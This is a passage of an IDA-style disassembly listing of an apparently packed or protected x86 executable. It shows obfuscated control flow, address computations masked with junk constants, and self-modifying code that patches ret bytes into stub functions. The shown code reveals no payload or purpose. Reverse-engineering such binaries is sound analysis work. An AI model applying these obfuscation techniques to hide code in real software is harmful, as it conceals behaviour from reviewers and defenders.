		xchg	ecx, [esp+0]
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------

loc_4402A3:				; CODE XREF: kgbikm34:loc_44404Bj
					; DATA XREF: sub_43F65B:loc_44D81Fo
		add	ecx, 36C06BF1h
		call	sub_43BC26
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_4402AE:				; CODE XREF: sub_4441EB-14EDj
		cmp	esi, 0F63D0DD7h
		jmp	loc_4417A7
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E1B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA1A

loc_4402BF:				; CODE XREF: sub_44CA1A-66DBj
		jmp	sub_43EFE3
; END OF FUNCTION CHUNK	FOR sub_44CA1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	al, 24h
		mov	edx, ebp
		pop	ebp
		push	offset sub_444267
		jmp	loc_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_4402D4:				; CODE XREF: sub_43C638j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_44B64C
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_445828
		lea	eax, [ebp-125h]
		push	eax
		jmp	loc_445820
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------

loc_4402F9:				; CODE XREF: kgbikm34:00449421j
		jbe	loc_445F78
; START	OF FUNCTION CHUNK FOR sub_4397E2

loc_4402FF:				; CODE XREF: sub_4397E2+F22Dj
		or	edi, 0B0018EA0h
		xor	edi, 59085B45h
		add	edi, 10F23A45h
		mov	[edi], eax
		jmp	loc_43D92C
; END OF FUNCTION CHUNK	FOR sub_4397E2
; ---------------------------------------------------------------------------

loc_440318:				; CODE XREF: kgbikm34:00446155j
		ror	ebp, 1Bh
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_44031B:				; CODE XREF: sub_449D59:loc_44613Dj
		xor	edx, 661B0083h

loc_440321:				; CODE XREF: kgbikm34:004387A4j
		add	edx, ebp

loc_440323:				; CODE XREF: kgbikm34:loc_43F3BFj
		add	edx, 67010E7Fh
		mov	edx, [edx]

loc_44032B:				; CODE XREF: kgbikm34:004491A8j
		mov	[edx], eax
		jmp	loc_43AC24
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_440332:				; CODE XREF: sub_4394EB:loc_447D83j
		push	eax
		pop	edi
		xchg	edi, [esp-8+arg_4]
		mov	edx, eax

loc_440339:				; CODE XREF: kgbikm34:0044D012j
		push	esi
		push	0BF9B0CEAh
		pop	esi
		jmp	loc_43EE5F
; END OF FUNCTION CHUNK	FOR sub_4394EB

; =============== S U B	R O U T	I N E =======================================



sub_440345	proc near		; CODE XREF: kgbikm34:0043B399j
					; sub_43C1F4:loc_43DCDFp

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 88AF7E3Fh
		xchg	esi, [esp-4+arg_0]
		jmp	sub_43EB8F
sub_440345	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C8C

loc_440357:				; CODE XREF: sub_444C8C+12j
		add	eax, 0F82FC01Dh
		xchg	eax, [esp+0]
		jmp	loc_440FE5
; END OF FUNCTION CHUNK	FOR sub_444C8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_440365:				; CODE XREF: sub_439587+106EBj
		sub	ebx, ecx
		add	eax, esi
		jmp	loc_43F4B8
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_43C7C6

locret_440376:				; CODE XREF: kgbikm34:0043A69Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D21A

loc_440377:				; CODE XREF: sub_43D21A-4459j
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_43D21A
; ---------------------------------------------------------------------------
dword_44037C	dd 77760888h		; DATA XREF: sub_439609-11C2w
					; sub_43D045:loc_43BBE5r

; =============== S U B	R O U T	I N E =======================================



sub_440380	proc near		; CODE XREF: .text:loc_40E5BFp
					; DATA XREF: ev73vtp2:off_41E1A8o

; FUNCTION CHUNK AT 00437067 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00437B01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004389ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439E0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C0AF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C9CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DA98 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004403F2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044100C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441B9E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00441D16 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443247 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00443B4F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444388 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A5C6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A7DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D5E0 SIZE 00000009 BYTES

		js	loc_443247
		push	9F1661D0h
		jmp	loc_439E0A
sub_440380	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ecx
		xor	edx, ebx
		jmp	sub_449EA3
; ---------------------------------------------------------------------------
		test	edx, 0AD3BC51Fh
		jmp	loc_44A133

; =============== S U B	R O U T	I N E =======================================



sub_4403A3	proc near		; CODE XREF: sub_43A3D0+8894p
					; kgbikm34:00449CCCj ...

; FUNCTION CHUNK AT 004457D6 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, 1C055288h
		add	ebx, eax
		pop	eax

loc_4403B0:				; CODE XREF: sub_443643:loc_446750j
		mov	ebx, [ebx]
		add	eax, ebx
		jmp	loc_4457D6
sub_4403A3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437613

loc_4403B9:				; CODE XREF: sub_437613+15824j
		jge	loc_43E003
		js	loc_44C85C
		jmp	loc_43DFF5
; END OF FUNCTION CHUNK	FOR sub_437613
; ---------------------------------------------------------------------------
		add	edx, 434D186Bh
		jmp	loc_437304

; =============== S U B	R O U T	I N E =======================================



sub_4403D5	proc near		; CODE XREF: kgbikm34:00439D84j
					; kgbikm34:0043EBCBj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004383C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439119 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00446E2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004481AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044BBBB SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ebx, [ebx]
		add	eax, ebx
		call	sub_43B63D

loc_4403E2:				; CODE XREF: sub_44BB9F-AB46j
		jmp	loc_446E2D
sub_4403D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	ecx, 0CEB3583Ch
		jmp	loc_44B5FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_4403F2:				; CODE XREF: sub_440380:loc_439E0Aj
		pop	eax
		xor	eax, 0B6C6D23Dh
		add	eax, 0D673EDABh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43B5C9
		jmp	loc_4389ED
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44040E:				; CODE XREF: sub_439587:loc_43BBF8j
					; sub_439587+34D6j
		movzx	eax, word ptr [ebp-6]
		mov	edx, [ebp-18h]
		cmp	eax, [edx+18h]
		jnb	loc_4462C2
		jmp	loc_448513
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_440423:				; DATA XREF: sub_44661D-5418o
		jb	loc_44B444
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_439A43
		jmp	loc_4448E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43705D

loc_44043D:				; CODE XREF: sub_43705D:loc_449534j
		jmp	ds:off_41E0A8
; END OF FUNCTION CHUNK	FOR sub_43705D

; =============== S U B	R O U T	I N E =======================================



sub_440443	proc near		; CODE XREF: sub_43705Dp
					; kgbikm34:00439DECj ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437586 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00438DC6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004391D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439DF1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043A1ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BD11 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C4F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CCBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DBE0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043E456 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E9C9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043FDA6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043FE27 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044054A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044089A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A14 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004410C3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00441DC1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00442567 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004428C5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445B9C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00445E99 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004461E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044636F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446D0D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00446FA6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004474F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004480A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B96B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C999 SIZE 0000000B BYTES

		pop	edx
		jns	loc_439DF1
		mov	eax, [esp+10h+var_10]
		push	edx
		jmp	loc_43C4F1
sub_440443	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, [esi]
		jmp	loc_44DD55
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44045B:				; CODE XREF: kgbikm34:004443B8j
		cmp	ebp, 0F1FEBDD4h
		jmp	loc_441951
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448546

loc_440466:				; CODE XREF: sub_439003:loc_4427EBj
					; sub_448546:loc_445C13j ...
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44046D:				; CODE XREF: sub_44B6E1-DCC0j
		jmp	nullsub_288
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448546

loc_440472:				; CODE XREF: sub_448546+13j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jmp	loc_448AA9
; END OF FUNCTION CHUNK	FOR sub_448546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441CC2

loc_44047E:				; CODE XREF: sub_441CC2+Aj
		push	offset loc_44DF53
		jmp	loc_4458CE
; END OF FUNCTION CHUNK	FOR sub_441CC2

; =============== S U B	R O U T	I N E =======================================



sub_440488	proc near		; CODE XREF: sub_439BDE+5F06p
					; kgbikm34:00444593j

; FUNCTION CHUNK AT 00439517 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A165 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043A497 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AA54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C4AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446C11 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004482FB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449741 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E13B SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		or	eax, eax
		jnz	loc_441592
		jmp	loc_439517
sub_440488	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_440499:				; CODE XREF: sub_443DF0:loc_447D36j
		jl	loc_439398
; END OF FUNCTION CHUNK	FOR sub_443DF0
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44049F:				; CODE XREF: sub_43D494+A205j
		jmp	loc_43F32D
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_4404A4:				; CODE XREF: sub_44D599-EB44j
		jmp	sub_44B20C
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
		pop	esi
		cmp	ecx, 1D619BA6h
		jmp	loc_439390
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D686

loc_4404B5:				; CODE XREF: sub_43D686+Aj
		xchg	esi, [esp+0]
		call	sub_43FD86
		add	eax, 0CBF883D8h
		jmp	loc_445D16
; END OF FUNCTION CHUNK	FOR sub_43D686
; ---------------------------------------------------------------------------
		cmp	ebx, ebp
		jmp	loc_4499ED
; ---------------------------------------------------------------------------

loc_4404CF:				; CODE XREF: kgbikm34:0044194Cj
		adc	edi, ebx
		and	esi, 78CA9F50h
		jmp	loc_43A930
; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp
		mov	eax, [esp]
		push	offset sub_43E58D
		jmp	loc_444E6F
; ---------------------------------------------------------------------------

loc_4404EB:				; CODE XREF: kgbikm34:loc_43ED4Bj
		jnz	loc_4474B0
		jmp	loc_446F55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_4404F6:				; CODE XREF: sub_43F65B:loc_44280Ej
		adc	ecx, 0B73B47D8h
		jmp	loc_4376C3
; END OF FUNCTION CHUNK	FOR sub_43F65B

; =============== S U B	R O U T	I N E =======================================



sub_440501	proc near		; CODE XREF: sub_43A6C7+DC0Dj
					; kgbikm34:0044B1B5p

; FUNCTION CHUNK AT 0044D152 SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ds:dword_438364, eax
		call	sub_44A9D8
		mov	edx, 0A2CD59D9h
		call	sub_440FF4
		jmp	loc_44D152
sub_440501	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44051E:				; CODE XREF: sub_44649E+44A1j
		push	3E55CB47h
		shr	ecx, 1Eh

loc_440526:				; CODE XREF: sub_44649E:loc_44BD70j
		mov	eax, [ebp-1Ch]
		push	ebx
		call	sub_44772C
; END OF FUNCTION CHUNK	FOR sub_44649E
; START	OF FUNCTION CHUNK FOR sub_440841

loc_44052F:				; CODE XREF: sub_440841+13j
		jmp	loc_442E08
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_440534:				; CODE XREF: sub_43DF5B+D66j
		jmp	loc_438EED
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_440539:				; CODE XREF: sub_445F1B:loc_438925j
		jl	loc_43B601
; END OF FUNCTION CHUNK	FOR sub_445F1B
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44053F:				; CODE XREF: sub_4474D5-1E5Bj
		jmp	loc_43B50A
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_440544:				; CODE XREF: sub_43E34D:loc_4495A1j
		pop	esi
		jmp	loc_43B5FF
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_44054A:				; CODE XREF: sub_440443+212Dj
		sub	eax, 7243935Bh
		cmp	eax, 5254C5BEh
		jmp	loc_4480A5
; END OF FUNCTION CHUNK	FOR sub_440443

; =============== S U B	R O U T	I N E =======================================



sub_44055B	proc near		; CODE XREF: sub_44553C+13j

; FUNCTION CHUNK AT 0044423B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491CC SIZE 00000013 BYTES

		push	ebx
		push	0D58FCEBEh
		pop	ebx
		xor	ebx, 9ABA84ADh
		rol	ebx, 14h
		and	ebx, 0EEB856CDh
		jmp	loc_44423B
sub_44055B	endp

; ---------------------------------------------------------------------------

loc_440576:				; CODE XREF: kgbikm34:0043A95Cj
		mov	ds:dword_43C5AC, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_44057D:				; CODE XREF: sub_4441EB+2C1Dj
		rol	eax, 12h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_440582:				; CODE XREF: sub_441819+1734j
		mov	eax, [ebp-8]
		push	esi
		jmp	loc_43A668
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44058B:				; CODE XREF: sub_439587:loc_446CE8j
					; DATA XREF: kgbikm34:0043726Bo
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_43FCB3
		jmp	loc_438AC9
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_44059A:				; CODE XREF: sub_439A2E+F53Fj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_448E8D
		jmp	loc_443EEF
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_4405A9:				; CODE XREF: sub_439587+FBDFj
		add	ecx, 0A48D70FCh
		and	ecx, 42AD4885h
		xor	ecx, 8BB12F3Fh
		add	ecx, ebp
		add	ecx, 36C7D0AAh
		mov	[ecx], eax
		jmp	loc_442599
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC81

loc_4405CA:				; CODE XREF: sub_43CC81+9j
		mov	ecx, esi
		pop	esi
		sub	ecx, 4D48C5Ah
		add	ecx, 7A043D59h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44992A
; END OF FUNCTION CHUNK	FOR sub_43CC81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_4405E1:				; CODE XREF: sub_44A80D+CC7j
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		call	sub_443DF0
		mov	eax, 0D372DA5Dh
		jmp	loc_443FF1
; END OF FUNCTION CHUNK	FOR sub_44A80D

; =============== S U B	R O U T	I N E =======================================



sub_4405F9	proc near		; DATA XREF: sub_449CB4:loc_4489E2o
		pop	ebx
		lea	eax, nullsub_198
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_198
sub_4405F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E5A

loc_440608:				; CODE XREF: sub_442E5A+1j
		mov	eax, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_442E5A
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_44060B:				; CODE XREF: sub_44DAF3:loc_441399j
		push	edx
		call	sub_444BA3

loc_440611:				; CODE XREF: kgbikm34:0044CE51j
		jmp	loc_4389DA
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------

loc_440616:				; CODE XREF: kgbikm34:00448005j
		jmp	loc_43F962
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44061B:				; CODE XREF: sub_43C55C-25C6j
		jmp	loc_444676
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_440620:				; CODE XREF: sub_449D78:loc_438543j
		add	ebx, 3690B7D6h
		xor	ebx, 7DDA582Fh
		add	ebx, 3C12178Ah
		or	ebx, 829695B3h
		jmp	loc_4386ED
; END OF FUNCTION CHUNK	FOR sub_449D78

; =============== S U B	R O U T	I N E =======================================



sub_44063D	proc near		; CODE XREF: kgbikm34:00439C82p
					; kgbikm34:0044879Bj
		xchg	eax, [esp+0]
		pop	eax
		mov	[edi], eax
		pop	edi
		retn
sub_44063D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443987

loc_440645:				; CODE XREF: sub_443987+6j
		jmp	sub_44B495
; END OF FUNCTION CHUNK	FOR sub_443987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_44064A:				; CODE XREF: sub_446F45-9980j
		jmp	loc_438CC6
; END OF FUNCTION CHUNK	FOR sub_446F45
; ---------------------------------------------------------------------------

loc_44064F:				; CODE XREF: kgbikm34:0043A73Aj
		jmp	loc_44D51D
; ---------------------------------------------------------------------------

loc_440654:				; CODE XREF: kgbikm34:00438755j
		jmp	loc_439780
; ---------------------------------------------------------------------------

loc_440659:				; CODE XREF: kgbikm34:loc_44079Cj
		rol	eax, 15h
		jmp	loc_444234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44824C

loc_440661:				; CODE XREF: sub_44824C-CB84j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_13
; END OF FUNCTION CHUNK	FOR sub_44824C
; ---------------------------------------------------------------------------
		push	ecx
		call	sub_446C27
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_273. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440670:				; CODE XREF: kgbikm34:00439757j
		and	ebp, esi
		sub	ebx, 7B158466h
		jmp	loc_43EA5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_44067D:				; CODE XREF: sub_443DF0:loc_447257j
		cmp	eax, 5213EA45h
		jmp	loc_44ABF4
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------

loc_440688:				; CODE XREF: kgbikm34:004488CAj
		mov	ebp, [eax]
		adc	edi, ebp
; START	OF FUNCTION CHUNK FOR sub_4488AF

loc_44068C:				; CODE XREF: sub_4488AF+Cj
		sub	ebx, 808017E4h
		and	ebx, 44522012h
		xor	ebx, 0EDBFC2CBh
		add	ebx, ebp
		add	ebx, 56103D31h
		mov	ebx, [ebx]
		jmp	loc_4426BA
; END OF FUNCTION CHUNK	FOR sub_4488AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_4406AE:				; CODE XREF: sub_43D114+9C95j
		mov	eax, [esp+0Ch+var_C]
		push	edx
		mov	edx, esi
		xchg	edx, [esp+0]
		jmp	loc_443043
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------

loc_4406BC:				; CODE XREF: kgbikm34:004383FFj
		cmp	ebx, edx
		jmp	loc_43F361
; ---------------------------------------------------------------------------
		push	0E4130405h
		jmp	sub_438ACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437ABD

loc_4406CD:				; CODE XREF: sub_437ABD+9j
		or	ecx, 0B65FA1E7h
		add	ecx, 8E4B6F3h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44ACE0
; END OF FUNCTION CHUNK	FOR sub_437ABD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4406E1:				; CODE XREF: sub_44B20C-BEC3j
		jz	loc_43EB87
		jmp	loc_44A5EA
; END OF FUNCTION CHUNK	FOR sub_44B20C

; =============== S U B	R O U T	I N E =======================================



sub_4406EC	proc near		; DATA XREF: kgbikm34:loc_444E86o
		call	sub_43BF6F
		mov	ds:dword_41E068, eax
		lea	eax, nullsub_318
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_318
sub_4406EC	endp

; ---------------------------------------------------------------------------
		call	nullsub_320
		jmp	loc_44AFEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BF9

loc_44070F:				; CODE XREF: sub_440BF9:loc_440C02j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_437B4C[eax*4],	0
		jz	loc_43CEC5
		mov	eax, [ebp+var_4]
		jmp	loc_44B50D
; END OF FUNCTION CHUNK	FOR sub_440BF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_44072B:				; CODE XREF: sub_43B5BA+936Ej
		push	edx
		call	sub_44BA42
		mov	eax, 0B9726E5Ah
		push	offset loc_4385D3
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------

loc_440740:				; CODE XREF: kgbikm34:00449E22j
		not	ebp
; START	OF FUNCTION CHUNK FOR sub_443D0B

loc_440742:				; CODE XREF: sub_443D0B:loc_449E11j
		add	edi, 0F668F7h
		mov	[edi], eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_443D0B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44074C	proc near		; CODE XREF: sub_444BCC:loc_43799Dp
		push	ebp
		mov	ebp, esp
		call	sub_43FDEC

loc_440754:				; CODE XREF: sub_449D78:loc_43E6E4j
		pushf
		ror	edi, 3
		sub	ebp, ecx
		add	ecx, 58AFACFDh
		jmp	loc_44A9DD
sub_44074C	endp

; ---------------------------------------------------------------------------
		mov	eax, 4C5D3995h
		push	edi
		push	7FDE04C0h
		pop	edi
		add	edi, 2A8601E2h
		sub	edi, 0C875ADE4h
		add	edi, 1E55DC70h
		xchg	edi, [esp]
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_440786:				; CODE XREF: sub_44D9CE+3B7j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44078C:				; CODE XREF: kgbikm34:0044AEA0j
		jmp	loc_44B378
; ---------------------------------------------------------------------------

locret_440791:				; CODE XREF: kgbikm34:loc_44081Bj
		retn
; ---------------------------------------------------------------------------

loc_440792:				; CODE XREF: kgbikm34:0044977Aj
		jmp	loc_43CF76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_440797:				; CODE XREF: sub_445F1B-D08Ej
		jmp	loc_44B872
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------

loc_44079C:				; CODE XREF: kgbikm34:loc_43EBA0j
		jnz	loc_440659
		jmp	loc_44526F

; =============== S U B	R O U T	I N E =======================================



sub_4407A7	proc near		; CODE XREF: sub_44725C:loc_441251j
					; sub_441F0Ap ...
		call	sub_43CD5D
		rol	ecx, 0Ch
		jmp	sub_43D777
sub_4407A7	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492B9

loc_4407B5:				; CODE XREF: sub_4492B9+FCAj
		jmp	sub_44B64C
; END OF FUNCTION CHUNK	FOR sub_4492B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_4407BA:				; CODE XREF: sub_449D59+14j
		jz	loc_44A1E9
		jmp	loc_43AD4D
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_4407C5:				; CODE XREF: sub_439F72+6E41j
		push	6C5E18E2h
		xchg	eax, [edi]

loc_4407CC:				; CODE XREF: sub_439F72:loc_438A7Fj
		call	sub_44A9D8
		mov	edx, 0F2B89A19h
		call	sub_4487F2
		jmp	sub_43B172
; END OF FUNCTION CHUNK	FOR sub_439F72
